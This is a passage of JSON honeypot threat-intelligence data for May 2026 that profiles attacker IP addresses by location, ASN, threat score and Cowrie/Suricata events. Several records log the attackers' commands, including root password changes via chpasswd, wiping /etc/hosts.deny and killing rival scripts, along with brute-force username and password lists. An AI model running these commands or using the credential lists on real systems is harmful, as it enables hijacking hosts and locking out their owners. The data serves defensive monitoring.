      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:18:55.062000+00:00",
        "last_seen_30d": "2026-05-11T12:20:29.649000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.185.107.233": {
      "attack_count": 2,
      "first_seen": "2026-05-10T14:29:57.454Z",
      "last_seen": "2026-05-10T14:30:11.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 52931,
      "as_org": "Netvip Telecomunicacoes Ltda",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:29:57.454000+00:00",
        "last_seen_30d": "2026-05-10T14:31:16.232000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.164.223.156": {
      "attack_count": 2,
      "first_seen": "2026-05-24T23:56:42.691Z",
      "last_seen": "2026-05-24T23:58:42.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Olivos",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:56:42.691000+00:00",
        "last_seen_30d": "2026-05-25T00:00:06.606000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "186.121.249.157": {
      "attack_count": 2,
      "first_seen": "2026-05-03T01:52:50.447Z",
      "last_seen": "2026-05-03T01:53:02.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:52:50.447000+00:00",
        "last_seen_30d": "2026-05-03T01:54:08.545000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.53.68.64": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:01:32.249Z",
      "last_seen": "2026-05-23T00:03:32.251Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 271304,
      "as_org": "A.M.S DO NASCIMENTO CONECT.COM",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:01:32.249000+00:00",
        "last_seen_30d": "2026-05-23T00:14:25.739000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "200.75.234.35": {
      "attack_count": 2,
      "first_seen": "2026-05-17T20:55:49.785Z",
      "last_seen": "2026-05-17T20:56:02.415Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:55:49.785000+00:00",
        "last_seen_30d": "2026-05-17T20:58:08.607000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.57.87.157": {
      "attack_count": 2,
      "first_seen": "2026-05-03T19:41:57.423Z",
      "last_seen": "2026-05-03T19:42:10.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:41:57.423000+00:00",
        "last_seen_30d": "2026-05-03T19:43:17.083000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.146.163.192": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:32:50.615Z",
      "last_seen": "2026-05-02T19:33:03.515Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Haeundae-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:32:50.615000+00:00",
        "last_seen_30d": "2026-05-02T19:34:11.998000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.31.203": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:59:29.515Z",
      "last_seen": "2026-05-22T09:59:42.869Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:59:29.515000+00:00",
        "last_seen_30d": "2026-05-22T10:00:49.406000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.58.70.206": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:34:20.761Z",
      "last_seen": "2026-05-13T21:36:20.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Calimaya",
      "asn": 265605,
      "as_org": "VELOCOM SA DE CV",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:34:20.761000+00:00",
        "last_seen_30d": "2026-05-13T21:37:28.987000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.181.86.15": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:43:50.351Z",
      "last_seen": "2026-05-23T02:45:50.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Choloma",
      "asn": 269729,
      "as_org": "GRUPO MULTICABLES DE CORTES S.R.L de C.V",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:43:50.351000+00:00",
        "last_seen_30d": "2026-05-23T02:47:30.078000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.235.95.224": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:27:05.678Z",
      "last_seen": "2026-05-03T02:29:05.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jaboat\u00e3o dos Guararapes",
      "asn": 267410,
      "as_org": "2D TELECOM LTDA - ME",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:27:05.678000+00:00",
        "last_seen_30d": "2026-05-03T02:40:07.221000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.34.4.186": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:04:51.439Z",
      "last_seen": "2026-05-08T08:05:04.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 21299,
      "as_org": "Kar-Tel LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:04:51.439000+00:00",
        "last_seen_30d": "2026-05-08T08:06:08.244000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "84.54.73.195": {
      "attack_count": 2,
      "first_seen": "2026-05-16T19:34:01.743Z",
      "last_seen": "2026-05-16T19:34:14.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T19:34:01.743000+00:00",
        "last_seen_30d": "2026-05-16T19:35:21.084000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.237.200.13": {
      "attack_count": 2,
      "first_seen": "2026-05-06T15:05:18.729Z",
      "last_seen": "2026-05-06T15:05:31.896Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 52040,
      "as_org": "LLC MediaKvant",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:05:18.729000+00:00",
        "last_seen_30d": "2026-05-06T15:06:34.170000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.109.200.220": {
      "attack_count": 4002,
      "first_seen": "2026-05-27T05:10:40.944Z",
      "last_seen": "2026-05-27T06:21:14.228Z",
      "sessions": 800,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ubuntu",
        "user",
        "pi",
        "test",
        "claude",
        "dev",
        "debian",
        "deployer",
        "openclaw",
        "sam",
        "guest",
        "minecraft",
        "postgres",
        "frappe",
        "runner",
        "server",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "1",
        "root",
        "12345678",
        "password",
        "12345",
        "123456789",
        "abc123",
        "toor",
        "111111",
        "qwerty",
        "123321",
        "1qaz@WSX",
        "test",
        "user",
        "1234567890",
        "Aa123456",
        "dev"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5622,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:10:38.403000+00:00",
        "last_seen_30d": "2026-05-27T06:22:21.169000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4002,
        "Suricata": 1620
      }
    },
    "167.71.154.212": {
      "attack_count": 3607,
      "first_seen": "2026-05-02T23:04:50.635Z",
      "last_seen": "2026-05-03T07:36:09.607Z",
      "sessions": 1811,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5517,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:04:50.635000+00:00",
        "last_seen_30d": "2026-05-03T07:37:17.099000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3607,
        "Suricata": 1910
      }
    },
    "41.59.229.33": {
      "attack_count": 838,
      "first_seen": "2026-05-11T22:45:02.910Z",
      "last_seen": "2026-05-15T12:27:56.988Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "minecraft",
        "dbus-helper",
        "john",
        "mysql",
        "postgres",
        "...",
        "aiadmin",
        "dev",
        "linux",
        "mailtest",
        "pakchoi",
        "sftpuser",
        "sysadmin",
        "systemd-sync",
        "test",
        "test5"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "warnight",
        "123456",
        "linux123",
        "111111",
        "12344321",
        "123zxc",
        "1qazXSW@",
        "21vianet",
        "314159",
        "Aa123456..",
        "Elephant123",
        "Kermit123@",
        "P@ssw0rd",
        "Passw0rd",
        "Test@123",
        "aA@123456789",
        "aapje123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"111111\\n9jXhjTWskXsE\\n9jXhjTWskXsE\\n\"|passwd",
        "echo \"Passw0rd\\nI06Jj4s1kTDA\\nI06Jj4s1kTDA\\n\"|passwd",
        "echo \"root:0QOGmY0Xd0l8\"|chpasswd|bash",
        "echo \"root:4fNAOcW2gSLm\"|chpasswd|bash",
        "echo \"root:THWPH840oQZE\"|chpasswd|bash",
        "echo \"root:oXeZMyuzZ70U\"|chpasswd|bash",
        "echo \"test123\\n314Key5qXt9s\\n314Key5qXt9s\\n\"|passwd",
        "echo \"warnight\\nPYeKOniYJk5v\\nPYeKOniYJk5v\\n\"|passwd",
        "echo -e \"111111\\n9jXhjTWskXsE\\n9jXhjTWskXsE\"|passwd|bash",
        "echo -e \"Passw0rd\\nI06Jj4s1kTDA\\nI06Jj4s1kTDA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1014,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:45:02.910000+00:00",
        "last_seen_30d": "2026-05-15T12:29:04.664000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 838,
        "Suricata": 176
      }
    },
    "190.223.60.209": {
      "attack_count": 780,
      "first_seen": "2026-05-14T23:09:57.959Z",
      "last_seen": "2026-05-29T01:26:26.559Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "nagios",
        "pakchoi",
        "sangfor",
        "...",
        "admin",
        "anton",
        "backupuser",
        "dbus-helper",
        "fedora",
        "frappe",
        "icinga2",
        "meng",
        "nomad",
        "priya",
        "qemu",
        "rabbitmq",
        "ren"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "password",
        "!@#qwe123QWE",
        "123",
        "123456",
        "123456a@",
        "202424",
        "321123",
        "37games",
        "990909",
        "Abc#2025",
        "Dr123456",
        "Kermit123@",
        "Passw0rd.",
        "Password1@",
        "Qwer@2020",
        "ROOT"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\nu4bZaQrjP8SY\\nu4bZaQrjP8SY\\n\"|passwd",
        "echo \"admin\\nJNx1oFd1bPzW\\nJNx1oFd1bPzW\\n\"|passwd",
        "echo \"linux123\\n6Lb5IkWdYPdo\\n6Lb5IkWdYPdo\\n\"|passwd",
        "echo \"root:3JVZ0dzVVwRL\"|chpasswd|bash",
        "echo \"root:YVRQ0C69526e\"|chpasswd|bash",
        "echo \"root:ZpuShQMZS0aT\"|chpasswd|bash",
        "echo \"sangfor\\nwVMkn52CuTfO\\nwVMkn52CuTfO\\n\"|passwd",
        "echo -e \"Kermit123@\\nu4bZaQrjP8SY\\nu4bZaQrjP8SY\"|passwd|bash",
        "echo -e \"admin\\nJNx1oFd1bPzW\\nJNx1oFd1bPzW\"|passwd|bash",
        "echo -e \"linux123\\n6Lb5IkWdYPdo\\n6Lb5IkWdYPdo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "San Luis",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 51.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 961,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:09:57.959000+00:00",
        "last_seen_30d": "2026-05-29T01:27:35.913000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 780,
        "Suricata": 181
      }
    },
    "42.96.19.37": {
      "attack_count": 579,
      "first_seen": "2026-05-16T03:35:12.140Z",
      "last_seen": "2026-05-29T13:26:25.605Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "work",
        "azureuser",
        "dbus-helper",
        "debian",
        "demo",
        "fan",
        "git",
        "gitea",
        "ivan",
        "jason",
        "john",
        "linux",
        "lruiz",
        "pakchoi",
        "prakash",
        "root/123456"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "123",
        "123456",
        "asd123456",
        "fjbdfdjkdsfs541544",
        "linux123",
        "1234",
        "12345",
        "1234567812345678",
        "12345678AA",
        "123456Yy",
        "123456aAa!",
        "20172017",
        "A1s2d3f4g5",
        "ABCabc",
        "Garena123",
        "Kermit123@",
        "Pass@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Qaz123!@#\\nrFemDRfS2TFw\\nrFemDRfS2TFw\\n\"|passwd",
        "echo \"root:8T6psJpl67cO\"|chpasswd|bash",
        "echo \"root:QK6Gc2iN8LTd\"|chpasswd|bash",
        "echo \"root\\noAusAFxujfzY\\noAusAFxujfzY\\n\"|passwd",
        "echo -e \"Qaz123!@#\\nrFemDRfS2TFw\\nrFemDRfS2TFw\"|passwd|bash",
        "echo -e \"root\\noAusAFxujfzY\\noAusAFxujfzY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 740,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:35:12.140000+00:00",
        "last_seen_30d": "2026-05-29T13:27:26.559000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 579,
        "Suricata": 161
      }
    },
    "122.177.240.85": {
      "attack_count": 568,
      "first_seen": "2026-05-18T12:54:28.688Z",
      "last_seen": "2026-05-18T13:55:08.150Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "23wesdxc",
        "987654321",
        "A123456bc",
        "admin2000",
        "anaconda",
        "c8h10n4o2",
        "dinesh@123",
        "founder",
        "jerome",
        "joey",
        "pakistan",
        "qwerty1",
        "ripper",
        "root",
        "1905",
        "ZAQ!2wsx",
        "hallo",
        "hellonetwork"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2bqXY4Khj9en\"|chpasswd|bash",
